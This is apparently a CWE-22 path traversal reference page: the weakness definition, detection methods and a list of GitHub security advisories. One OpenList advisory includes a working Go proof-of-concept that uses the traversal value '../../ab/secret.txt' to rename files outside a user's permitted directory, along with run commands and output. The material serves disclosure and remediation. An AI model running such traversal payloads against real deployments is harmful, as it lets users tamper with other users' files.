CWE-22
Weakness Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin" to access unexpected files. This is referred to as absolute path traversal.
Mapping guidance
This CWE entry might have children that would be more appropriate.
Examine children of this entry to see if there is a better fit. Consider children such as CWE-23 (or its descendants) for relative path traversal, or CWE-36 for absolute path traversal.
Relationships and members
Modes of introduction
Detection methods
Automated Static Analysis
Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the product's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.
Effectiveness: High
Manual Static Analysis
Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.
Effectiveness: High
Automated Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
Binary Weakness Analysis - including disassembler + source code weakness analysis
Effectiveness: High
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: High
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Fuzz Tester
Framework-based Fuzzer
Effectiveness: High
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Effectiveness: High
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: High
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Effectiveness: High
Notes
Other
In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to apply to a wider range of files. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.
Relationship
Pathname equivalence can be regarded as a type of canonicalization error.
Relationship
Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).
Terminology
Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.
Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.
Research Gap
Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.
Research Gap
Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.
Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.
Content history
Identified weakness in Perl demonstrative example
Provided diagram to improve CWE usability
Identified weakness in "good code" for Python demonstrative example
Provided a demonstrative example in PHP
updated Potential_Mitigations, Time_of_Introduction
Suggested OWASP Top Ten 2004 mapping
updated Alternate_Terms, Relationships, Other_Notes, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings, Weakness_Ordinalities
updated Description
updated Relationships, Taxonomy_Mappings
updated Potential_Mitigations
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Research_Gaps, Taxonomy_Mappings, Terminology_Notes, Time_of_Introduction, Weakness_Ordinalities
updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Potential_Mitigations, References, Relationships
updated Potential_Mitigations
updated Potential_Mitigations
updated Potential_Mitigations
updated Relationships
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
updated Demonstrative_Examples, References, Relationships
updated Potential_Mitigations
updated Observed_Examples
updated Related_Attack_Patterns, Relationships
updated Other_Notes, Research_Gaps
updated Detection_Factors, Relationships, Taxonomy_Mappings
updated Relationships
updated Related_Attack_Patterns
updated Demonstrative_Examples
updated Affected_Resources, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Relevant_Properties, Taxonomy_Mappings
updated References, Relationships
updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
updated Related_Attack_Patterns, Relationships, Type
updated Relationships
updated Potential_Mitigations, Relationships
updated Demonstrative_Examples, Potential_Mitigations
updated Relationships
updated Potential_Mitigations, Relationships
updated Demonstrative_Examples, Relationships
updated Relationships
updated Observed_Examples, Relationships
updated Observed_Examples, Relationships
updated Observed_Examples, References
updated Common_Consequences, Description, Detection_Factors
updated Demonstrative_Examples, References, Relationships, Time_of_Introduction
updated Mapping_Notes, Relationships
updated Observed_Examples
updated Common_Consequences, Description, Diagram, Observed_Examples, Other_Notes, References
updated Demonstrative_Examples, Relationships
updated Relationships
updated Applicable_Platforms, Detection_Factors, Observed_Examples, Potential_Mitigations, References
updated Mapping_Notes, Relationships
updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Relationships
updated Applicable_Platforms, Common_Consequences, Name, References, Relationships, Taxonomy_Mappings
16164 vulnerabilities reference this CWE, most recent first.
GHSA-958G-86VM-P2PJ
Vulnerability from github – Published: 2022-05-17 05:49 – Updated: 2022-05-17 05:49Multiple directory traversal vulnerabilities in Splunk 4.0 through 4.0.10 and 4.1 through 4.1.1 allow (1) remote attackers to read arbitrary files, aka SPL-31194; (2) remote authenticated users to modify arbitrary files, aka SPL-31063; or (3) have an unknown impact via redirects, aka SPL-31067.
{
"affected": [],
"aliases": [
"CVE-2010-2502"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-06-28T18:30:00Z",
"severity": "HIGH"
},
"details": "Multiple directory traversal vulnerabilities in Splunk 4.0 through 4.0.10 and 4.1 through 4.1.1 allow (1) remote attackers to read arbitrary files, aka SPL-31194; (2) remote authenticated users to modify arbitrary files, aka SPL-31063; or (3) have an unknown impact via redirects, aka SPL-31067.",
"id": "GHSA-958g-86vm-p2pj",
"modified": "2022-05-17T05:49:47Z",
"published": "2022-05-17T05:49:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-2502"
},
{
"type": "WEB",
"url": "http://www.splunk.com/view/SP-CAAAFGD"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-959V-WFJP-7C37
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 12:32A Path Traversal vulnerability exists in the file upload functionality of transformeroptimus/superagi version 0.0.14. This vulnerability allows an attacker to upload an arbitrary file to the server, potentially leading to remote code execution or overwriting any file on the server.
{
"affected": [],
"aliases": [
"CVE-2024-9415"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-20T10:15:48Z",
"severity": "HIGH"
},
"details": "A Path Traversal vulnerability exists in the file upload functionality of transformeroptimus/superagi version 0.0.14. This vulnerability allows an attacker to upload an arbitrary file to the server, potentially leading to remote code execution or overwriting any file on the server.",
"id": "GHSA-959v-wfjp-7c37",
"modified": "2025-03-20T12:32:51Z",
"published": "2025-03-20T12:32:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9415"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/31bdf98c-5205-4c48-9bc7-9e780ba63398"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-95CV-R8X4-VH75
Vulnerability from github – Published: 2026-07-24 22:29 – Updated: 2026-08-13 14:31Summary
The /api/fs/batch_rename handler validates and authorizes only the requested source directory. It rejects path separators in new_name, but it does not validate src_name. The handler concatenates src_dir and attacker-controlled src_name, then passes the result to the filesystem rename layer, where the path is normalized.
An authenticated user with rename permission can set src_name to traversal segments such as ../../ab/secret.txt. When the user's base path is /team/a and src_dir is /writable, the authorized directory becomes /team/a/writable, but the final source path normalizes to /team/ab/secret.txt. The file outside the user's base path is then renamed.
Details
The HTTP API registers filesystem management routes under the authenticated group:
server/router.go:104registers_fs(auth.Group("/fs")).server/router.go:198throughserver/router.go:205expose/api/fs/batch_rename.
The vulnerable code is in server/handles/fsbatch.go:
src_diris constrained throughuser.JoinPath(req.SrcDir)(server/handles/fsbatch.go:170throughserver/handles/fsbatch.go:174).- Write permission is checked only for that constrained directory (
server/handles/fsbatch.go:176throughserver/handles/fsbatch.go:185). - The loop checks
renameObject.NewNamewithcheckRelativePath, but does not checkrenameObject.SrcName(server/handles/fsbatch.go:186throughserver/handles/fsbatch.go:194). - The handler builds
filePath := fmt.Sprintf("%s/%s", reqPath, renameObject.SrcName)and passes it tofs.Rename(server/handles/fsbatch.go:195throughserver/handles/fsbatch.go:196).
The single-file rename path shows the intended pattern: checkRelativePath(req.Name) rejects separators, empty strings, ., and .. before renaming (server/handles/fsmanage.go:284 through server/handles/fsmanage.go:333). Batch rename applies this protection to the destination name only, not to the source name.
Lower layers normalize the source path before operating on it:
utils.FixAndCleanPathreplaces backslashes with slashes, forces an absolute slash prefix, and callspath.Clean(pkg/utils/path.go:18throughpkg/utils/path.go:24).JoinBasePathrejects traversal in the originalsrc_dir, not in the later concatenatedsrc_name(pkg/utils/path.go:80throughpkg/utils/path.go:87).
False-positive checks performed:
- The user in the PoC had only normal authenticated user role plus rename permission, not admin role.
- The handler successfully authorized
/team/a/writable, then renamed/team/ab/secret.txt, proving that the later source path escaped the authorized directory. new_namevalidation remained in effect; the exploit uses traversal only insrc_name.- The test checked the original sibling file disappeared and the renamed sibling file contained the same contents.
PoC
Safe local reproduction used a temporary in-memory sqlite database and temporary Local storage root. No external services were contacted by the PoC route; Go dependency/toolchain downloads may occur if the environment lacks cached modules.
Add this temporary test under server/handles/security_poc_test.go in a clean checkout of the tested commit. If also testing the share finding, the helper functions can be shared between the two tests.
package handles
import (
"bytes"
"context"
"encoding/json"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"strings"
"testing"
_ "github.com/OpenListTeam/OpenList/v4/drivers/local"
"github.com/OpenListTeam/OpenList/v4/internal/conf"
"github.com/OpenListTeam/OpenList/v4/internal/db"
"github.com/OpenListTeam/OpenList/v4/internal/model"
"github.com/OpenListTeam/OpenList/v4/internal/op"
"github.com/OpenListTeam/OpenList/v4/pkg/utils"
"github.com/gin-gonic/gin"
"github.com/glebarez/sqlite"
"gorm.io/gorm"
)
func setupSecurityPoCTest(t *testing.T, root string) *model.User {
t.Helper()
database, err := gorm.Open(sqlite.Open("file:"+t.Name()+"?mode=memory&cache=shared"), &gorm.Config{})
if err != nil {
t.Fatal(err)
}
conf.Conf = conf.DefaultConfig(t.TempDir())
db.Init(database)
addition, err := utils.Json.MarshalToString(map[string]string{"root_folder_path": root})
if err != nil {
t.Fatal(err)
}
_, err = op.CreateStorage(context.Background(), model.Storage{Driver: "Local", MountPath: "/", Addition: addition})
if err != nil {
t.Fatal(err)
}
user := &model.User{
Username: "alice",
BasePath: "/team/a",
Role: model.GENERAL,
Permission: 1<<4 | 1<<14,
}
if err := db.CreateUser(user); err != nil {
t.Fatal(err)
}
return user
}
func requestWithUser(t *testing.T, method, target string, body any, user *model.User) (*gin.Context, *httptest.ResponseRecorder) {
t.Helper()
payload, err := json.Marshal(body)
if err != nil {
t.Fatal(err)
}
recorder := httptest.NewRecorder()
ctx, _ := gin.CreateTestContext(recorder)
req := httptest.NewRequest(method, target, bytes.NewReader(payload))
req.Header.Set("Content-Type", "application/json")
req = req.WithContext(context.WithValue(req.Context(), conf.UserKey, user))
ctx.Request = req
return ctx, recorder
}
func TestPOCBatchRenameSrcNameTraversalEscapesUserBase(t *testing.T) {
gin.SetMode(gin.TestMode)
root := t.TempDir()
if err := os.MkdirAll(filepath.Join(root, "team", "a", "writable"), 0o700); err != nil {
t.Fatal(err)
}
if err := os.MkdirAll(filepath.Join(root, "team", "ab"), 0o700); err != nil {
t.Fatal(err)
}
secretPath := filepath.Join(root, "team", "ab", "secret.txt")
if err := os.WriteFile(secretPath, []byte("secret"), 0o600); err != nil {
t.Fatal(err)
}
user := setupSecurityPoCTest(t, root)
ctx, recorder := requestWithUser(t, http.MethodPost, "/api/fs/batch_rename", gin.H{
"src_dir": "/writable",
"rename_objects": []gin.H{{
"src_name": "../../ab/secret.txt",
"new_name": "renamed.txt",
}},
}, user)
FsBatchRename(ctx)
if recorder.Code != http.StatusOK || !strings.Contains(recorder.Body.String(), `"code":200`) {
t.Fatalf("expected batch rename success, status=%d body=%s", recorder.Code, recorder.Body.String())
}
if _, err := os.Stat(secretPath); !os.IsNotExist(err) {
t.Fatalf("expected original sibling file to be renamed, stat err=%v", err)
}
renamedPath := filepath.Join(root, "team", "ab", "renamed.txt")
got, err := os.ReadFile(renamedPath)
if err != nil {
t.Fatalf("expected renamed sibling file at %s: %v", renamedPath, err)
}
if string(got) != "secret" {
t.Fatalf("unexpected renamed file contents: %q", got)
}
}
Run:
go test ./server/handles -run TestPOCBatchRenameSrcNameTraversalEscapesUserBase -v
Observed vulnerable output in this environment:
=== RUN TestPOCBatchRenameSrcNameTraversalEscapesUserBase
--- PASS: TestPOCBatchRenameSrcNameTraversalEscapesUserBase (0.01s)
PASS
ok github.com/OpenListTeam/OpenList/v4/server/handles
Combined final confirmation command used during the audit:
go test ./server/handles -run 'TestPOC(ShareCreateAcceptsSiblingPathOutsideUserBase|BatchRenameSrcNameTraversalEscapesUserBase)' -v
Observed combined output:
=== RUN TestPOCShareCreateAcceptsSiblingPathOutsideUserBase
--- PASS: TestPOCShareCreateAcceptsSiblingPathOutsideUserBase (0.01s)
=== RUN TestPOCBatchRenameSrcNameTraversalEscapesUserBase
--- PASS: TestPOCBatchRenameSrcNameTraversalEscapesUserBase (0.01s)
PASS
ok github.com/OpenListTeam/OpenList/v4/server/handles (cached)
Negative/control cases checked:
src_dirtraversal is rejected byuser.JoinPathbecauseJoinBasePathdetects relative traversal in the original request path.new_nametraversal is rejected bycheckRelativePathbecause it contains/,\\,., or..patterns.- The exploit succeeds because
src_nameis not passed through the same relative filename check before concatenation.
Cleanup:
rm server/handles/security_poc_test.go
Impact
A restricted authenticated user can rename files outside the authorized source directory and outside their configured base path. In a multi-user deployment, a user confined to /team/a can rename a guessed sibling file such as /team/ab/secret.txt to /team/ab/renamed.txt by submitting traversal segments in src_name.
This is an integrity violation against other users' files. It can also cause limited availability impact by moving files away from expected names, and it may reveal whether guessed out-of-base files exist based on success or error responses.
Suggested remediation
Validate renameObject.SrcName with the same relative filename constraints already applied to renameObject.NewName, or derive source objects only from a trusted directory listing of reqPath.
A minimal fix is to call checkRelativePath(renameObject.SrcName) before constructing filePath. Add regression tests covering:
src_name: "file.txt"succeeds;src_name: "../secret.txt"is denied;src_name: "../../ab/secret.txt"is denied when base path is/team/aandsrc_diris/writable;new_nametraversal remains denied.
Credits
- Thai Son Dinh from VinSOC Labs (R&D)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.3"
},
"package": {
"ecosystem": "Go",
"name": "github.com/OpenListTeam/OpenList/v4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-73509"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T22:29:08Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe `/api/fs/batch_rename` handler validates and authorizes only the requested source directory. It rejects path separators in `new_name`, but it does not validate `src_name`. The handler concatenates `src_dir` and attacker-controlled `src_name`, then passes the result to the filesystem rename layer, where the path is normalized.\n\nAn authenticated user with rename permission can set `src_name` to traversal segments such as `../../ab/secret.txt`. When the user\u0027s base path is `/team/a` and `src_dir` is `/writable`, the authorized directory becomes `/team/a/writable`, but the final source path normalizes to `/team/ab/secret.txt`. The file outside the user\u0027s base path is then renamed.\n\n### Details\n\nThe HTTP API registers filesystem management routes under the authenticated group:\n\n- `server/router.go:104` registers `_fs(auth.Group(\"/fs\"))`.\n- `server/router.go:198` through `server/router.go:205` expose `/api/fs/batch_rename`.\n\nThe vulnerable code is in `server/handles/fsbatch.go`:\n\n- `src_dir` is constrained through `user.JoinPath(req.SrcDir)` (`server/handles/fsbatch.go:170` through `server/handles/fsbatch.go:174`).\n- Write permission is checked only for that constrained directory (`server/handles/fsbatch.go:176` through `server/handles/fsbatch.go:185`).\n- The loop checks `renameObject.NewName` with `checkRelativePath`, but does not check `renameObject.SrcName` (`server/handles/fsbatch.go:186` through `server/handles/fsbatch.go:194`).\n- The handler builds `filePath := fmt.Sprintf(\"%s/%s\", reqPath, renameObject.SrcName)` and passes it to `fs.Rename` (`server/handles/fsbatch.go:195` through `server/handles/fsbatch.go:196`).\n\nThe single-file rename path shows the intended pattern: `checkRelativePath(req.Name)` rejects separators, empty strings, `.`, and `..` before renaming (`server/handles/fsmanage.go:284` through `server/handles/fsmanage.go:333`). Batch rename applies this protection to the destination name only, not to the source name.\n\nLower layers normalize the source path before operating on it:\n\n- `utils.FixAndCleanPath` replaces backslashes with slashes, forces an absolute slash prefix, and calls `path.Clean` (`pkg/utils/path.go:18` through `pkg/utils/path.go:24`).\n- `JoinBasePath` rejects traversal in the original `src_dir`, not in the later concatenated `src_name` (`pkg/utils/path.go:80` through `pkg/utils/path.go:87`).\n\nFalse-positive checks performed:\n\n- The user in the PoC had only normal authenticated user role plus rename permission, not admin role.\n- The handler successfully authorized `/team/a/writable`, then renamed `/team/ab/secret.txt`, proving that the later source path escaped the authorized directory.\n- `new_name` validation remained in effect; the exploit uses traversal only in `src_name`.\n- The test checked the original sibling file disappeared and the renamed sibling file contained the same contents.\n\n### PoC\n\nSafe local reproduction used a temporary in-memory sqlite database and temporary Local storage root. No external services were contacted by the PoC route; Go dependency/toolchain downloads may occur if the environment lacks cached modules.\n\nAdd this temporary test under `server/handles/security_poc_test.go` in a clean checkout of the tested commit. If also testing the share finding, the helper functions can be shared between the two tests.\n\n```go\npackage handles\n\nimport (\n \"bytes\"\n \"context\"\n \"encoding/json\"\n \"net/http\"\n \"net/http/httptest\"\n \"os\"\n \"path/filepath\"\n \"strings\"\n \"testing\"\n\n _ \"github.com/OpenListTeam/OpenList/v4/drivers/local\"\n \"github.com/OpenListTeam/OpenList/v4/internal/conf\"\n \"github.com/OpenListTeam/OpenList/v4/internal/db\"\n \"github.com/OpenListTeam/OpenList/v4/internal/model\"\n \"github.com/OpenListTeam/OpenList/v4/internal/op\"\n \"github.com/OpenListTeam/OpenList/v4/pkg/utils\"\n \"github.com/gin-gonic/gin\"\n \"github.com/glebarez/sqlite\"\n \"gorm.io/gorm\"\n)\n\nfunc setupSecurityPoCTest(t *testing.T, root string) *model.User {\n t.Helper()\n database, err := gorm.Open(sqlite.Open(\"file:\"+t.Name()+\"?mode=memory\u0026cache=shared\"), \u0026gorm.Config{})\n if err != nil {\n t.Fatal(err)\n }\n conf.Conf = conf.DefaultConfig(t.TempDir())\n db.Init(database)\n\n addition, err := utils.Json.MarshalToString(map[string]string{\"root_folder_path\": root})\n if err != nil {\n t.Fatal(err)\n }\n _, err = op.CreateStorage(context.Background(), model.Storage{Driver: \"Local\", MountPath: \"/\", Addition: addition})\n if err != nil {\n t.Fatal(err)\n }\n\n user := \u0026model.User{\n Username: \"alice\",\n BasePath: \"/team/a\",\n Role: model.GENERAL,\n Permission: 1\u003c\u003c4 | 1\u003c\u003c14,\n }\n if err := db.CreateUser(user); err != nil {\n t.Fatal(err)\n }\n return user\n}\n\nfunc requestWithUser(t *testing.T, method, target string, body any, user *model.User) (*gin.Context, *httptest.ResponseRecorder) {\n t.Helper()\n payload, err := json.Marshal(body)\n if err != nil {\n t.Fatal(err)\n }\n recorder := httptest.NewRecorder()\n ctx, _ := gin.CreateTestContext(recorder)\n req := httptest.NewRequest(method, target, bytes.NewReader(payload))\n req.Header.Set(\"Content-Type\", \"application/json\")\n req = req.WithContext(context.WithValue(req.Context(), conf.UserKey, user))\n ctx.Request = req\n return ctx, recorder\n}\n\nfunc TestPOCBatchRenameSrcNameTraversalEscapesUserBase(t *testing.T) {\n gin.SetMode(gin.TestMode)\n root := t.TempDir()\n if err := os.MkdirAll(filepath.Join(root, \"team\", \"a\", \"writable\"), 0o700); err != nil {\n t.Fatal(err)\n }\n if err := os.MkdirAll(filepath.Join(root, \"team\", \"ab\"), 0o700); err != nil {\n t.Fatal(err)\n }\n secretPath := filepath.Join(root, \"team\", \"ab\", \"secret.txt\")\n if err := os.WriteFile(secretPath, []byte(\"secret\"), 0o600); err != nil {\n t.Fatal(err)\n }\n user := setupSecurityPoCTest(t, root)\n\n ctx, recorder := requestWithUser(t, http.MethodPost, \"/api/fs/batch_rename\", gin.H{\n \"src_dir\": \"/writable\",\n \"rename_objects\": []gin.H{{\n \"src_name\": \"../../ab/secret.txt\",\n \"new_name\": \"renamed.txt\",\n }},\n }, user)\n FsBatchRename(ctx)\n\n if recorder.Code != http.StatusOK || !strings.Contains(recorder.Body.String(), `\"code\":200`) {\n t.Fatalf(\"expected batch rename success, status=%d body=%s\", recorder.Code, recorder.Body.String())\n }\n if _, err := os.Stat(secretPath); !os.IsNotExist(err) {\n t.Fatalf(\"expected original sibling file to be renamed, stat err=%v\", err)\n }\n renamedPath := filepath.Join(root, \"team\", \"ab\", \"renamed.txt\")\n got, err := os.ReadFile(renamedPath)\n if err != nil {\n t.Fatalf(\"expected renamed sibling file at %s: %v\", renamedPath, err)\n }\n if string(got) != \"secret\" {\n t.Fatalf(\"unexpected renamed file contents: %q\", got)\n }\n}\n```\n\nRun:\n\n```bash\ngo test ./server/handles -run TestPOCBatchRenameSrcNameTraversalEscapesUserBase -v\n```\n\nObserved vulnerable output in this environment:\n\n```text\n=== RUN TestPOCBatchRenameSrcNameTraversalEscapesUserBase\n--- PASS: TestPOCBatchRenameSrcNameTraversalEscapesUserBase (0.01s)\nPASS\nok \tgithub.com/OpenListTeam/OpenList/v4/server/handles\n```\n\nCombined final confirmation command used during the audit:\n\n```bash\ngo test ./server/handles -run \u0027TestPOC(ShareCreateAcceptsSiblingPathOutsideUserBase|BatchRenameSrcNameTraversalEscapesUserBase)\u0027 -v\n```\n\nObserved combined output:\n\n```text\n=== RUN TestPOCShareCreateAcceptsSiblingPathOutsideUserBase\n--- PASS: TestPOCShareCreateAcceptsSiblingPathOutsideUserBase (0.01s)\n=== RUN TestPOCBatchRenameSrcNameTraversalEscapesUserBase\n--- PASS: TestPOCBatchRenameSrcNameTraversalEscapesUserBase (0.01s)\nPASS\nok \tgithub.com/OpenListTeam/OpenList/v4/server/handles\t(cached)\n```\n\nNegative/control cases checked:\n\n- `src_dir` traversal is rejected by `user.JoinPath` because `JoinBasePath` detects relative traversal in the original request path.\n- `new_name` traversal is rejected by `checkRelativePath` because it contains `/`, `\\\\`, `.`, or `..` patterns.\n- The exploit succeeds because `src_name` is not passed through the same relative filename check before concatenation.\n\nCleanup:\n\n```bash\nrm server/handles/security_poc_test.go\n```\n\n### Impact\n\nA restricted authenticated user can rename files outside the authorized source directory and outside their configured base path. In a multi-user deployment, a user confined to `/team/a` can rename a guessed sibling file such as `/team/ab/secret.txt` to `/team/ab/renamed.txt` by submitting traversal segments in `src_name`.\n\nThis is an integrity violation against other users\u0027 files. It can also cause limited availability impact by moving files away from expected names, and it may reveal whether guessed out-of-base files exist based on success or error responses.\n\n### Suggested remediation\n\nValidate `renameObject.SrcName` with the same relative filename constraints already applied to `renameObject.NewName`, or derive source objects only from a trusted directory listing of `reqPath`.\n\nA minimal fix is to call `checkRelativePath(renameObject.SrcName)` before constructing `filePath`. Add regression tests covering:\n\n- `src_name: \"file.txt\"` succeeds;\n- `src_name: \"../secret.txt\"` is denied;\n- `src_name: \"../../ab/secret.txt\"` is denied when base path is `/team/a` and `src_dir` is `/writable`;\n- `new_name` traversal remains denied.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R\u0026D)",
"id": "GHSA-95cv-r8x4-vh75",
"modified": "2026-08-13T14:31:12Z",
"published": "2026-07-24T22:29:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OpenListTeam/OpenList/security/advisories/GHSA-95cv-r8x4-vh75"
},
{
"type": "WEB",
"url": "https://github.com/OpenListTeam/OpenList/commit/651da18da4c647d96648d4bb64462baac1c37e04"
},
{
"type": "PACKAGE",
"url": "https://github.com/OpenListTeam/OpenList"
},
{
"type": "WEB",
"url": "https://github.com/OpenListTeam/OpenList/releases/tag/v4.2.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "OpenList: Authenticated users can rename files outside their base path via batch rename `src_name` traversal"
}
GHSA-95F9-94VC-665H
Vulnerability from github – Published: 2022-07-06 00:00 – Updated: 2023-08-28 23:44The leafInfo.match() function in Beego v2.0.3 and below uses path.join() to deal with wildcardvalues which can lead to cross directory risk.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/beego/beego"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.12.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/beego/beego/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-31836"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2022-07-06T20:01:19Z",
"nvd_published_at": "2022-07-05T15:15:00Z",
"severity": "CRITICAL"
},
"details": "The `leafInfo.match()` function in Beego v2.0.3 and below uses `path.join()` to deal with wildcardvalues which can lead to cross directory risk.",
"id": "GHSA-95f9-94vc-665h",
"modified": "2023-08-28T23:44:10Z",
"published": "2022-07-06T00:00:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31836"
},
{
"type": "WEB",
"url": "https://github.com/beego/beego/issues/4961"
},
{
"type": "WEB",
"url": "https://github.com/beego/beego/pull/5025"
},
{
"type": "WEB",
"url": "https://github.com/beego/beego/pull/5025/commits/ea5ae58d40589d249cf577a053e490509de2bf57"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-95f9-94vc-665h"
},
{
"type": "PACKAGE",
"url": "https://github.com/beego/beego"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2022-0569"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Path Traversal in Beego"
}
GHSA-95FC-R8XP-4X43
Vulnerability from github – Published: 2025-12-10 06:30 – Updated: 2025-12-10 06:30The Hippoo Mobile App for WooCommerce plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.7.1 via the template_redirect() function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.
{
"affected": [],
"aliases": [
"CVE-2025-13339"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-10T05:16:02Z",
"severity": "HIGH"
},
"details": "The Hippoo Mobile App for WooCommerce plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.7.1 via the template_redirect() function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.",
"id": "GHSA-95fc-r8xp-4x43",
"modified": "2025-12-10T06:30:23Z",
"published": "2025-12-10T06:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13339"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3412701"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/06900b4b-6607-4b25-b4bc-2e2906160421?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-95FJ-76M5-W4RC
